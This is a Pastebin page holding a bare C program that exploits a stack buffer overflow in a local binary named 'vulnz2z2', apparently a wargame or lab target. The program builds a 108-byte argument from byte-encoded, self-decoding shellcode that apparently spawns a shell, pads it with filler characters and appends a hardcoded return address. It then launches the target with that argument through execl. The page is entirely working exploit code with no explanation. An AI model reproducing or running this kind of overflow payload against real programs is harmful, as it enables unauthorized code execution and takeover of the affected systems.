Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #include <stdlib.h>
- #include <string.h>
- #include <unistd.h>
- #include <stdio.h>
- int main(int argc, char *argv[])
- {
- unsigned int i;
- char *buffer = 0;
- const unsigned int buffer_size = 108;
- char shellcode[] = "\xeb\x11\x5e\x31\xc9\xb1\x32\x80"
- "\x6c\x0e\xff\x01\x80\xe9\x01\x75"
- "\xf6\xeb\x05\xe8\xea\xff\xff\xff"
- "\x32\xc1\x51\x69\x30\x30\x74\x69"
- "\x69\x30\x63\x6a\x6f\x8a\xe4\x51"
- "\x54\x8a\xe2\x9a\xb1\x0c\xce\x81";
- char ret[] = "\x16\x84\x04\x08";
- buffer = (char *)malloc(sizeof(char) * (buffer_size + 1));
- strcpy(buffer, shellcode);
- for(i = strlen(buffer); i < buffer_size - 4; i++)
- buffer[i] = 'a';
- strcat(buffer, ret);
- execl("./vulnz2z2", "./vulnz2z2", buffer, NULL);
- return 0;
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement